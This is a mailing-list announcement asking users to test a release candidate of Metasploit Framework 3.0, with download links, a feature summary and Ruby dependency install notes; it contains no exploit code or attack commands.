[framework] Metasploit Framework 3.0 Beta 1 (Almost!)

[H D Moore]

Hi everyone,

We could use some help testing out the next version of the Metasploit 
Framework. If you could take a few minutes to download the release 
candidates below and send us your feedback, we would appreciate it. If 
everything goes well, the actual Beta-1 release of 3.0 will happen on the 
morning of August 2nd (Wednesday) at the Black Hat conference in Las 
Vegas. If you would like to discuss the beta release with other users, 
please subscribe to the framework-beta mailing list by sending a blank 
email to framework-beta-subscribe[at]metasploit.com. Please keep all 
replies related to the beta release candidate off of the main framework 
mailing list in order to spare the bandwidth of those not interested.

Some quick highlights compared to version 2.6:
- Smaller exploit set, since not everything has been ported
- All modules are organized in a tree, versus flat lists
- The Meterpreter payload is much smoother all around
- New type of "passive" exploits (browser, sniffer, ids attacks)
- Denial of service modules (ms05-035 and unpatched RRAS)
- Support for multiple shells per exploit with passive modules

Unix users should use the following tarball:
- http://metasploit.com/tools/framework-3.0-beta-1-rc1.tar.gz

Windows users should use the following installer:
- http://metasploit.com/tools/framework-3.0-beta-1-rc1.exe

Unix users may need to install the openssl and zlib ruby modules for the 
Framework to load. If you are using Ubuntu, run the following commands:
# apt-get install libzlib-ruby
# apt-get install libopenssl-ruby

User of other distributions or Unix flavors may want to grab the latest 
version of ruby from www.ruby-lang.org and build it from source.

Windows users will need to exit out of any running Cygwin-based 
applications before running the installer or using the Framework. We 
really tried to work with the native ruby interpreter for Windows, but 
numerous io/readline/stdin issues came up and we will try again once the 
code base gets a little more stable.

These RC1 installers will be removed as soon as the final version of 
Beta-1 becomes stable. Please read documentation/LICENSE for the new 
licensing terms of the Metasploit Framework (3.x only).

Thanks!
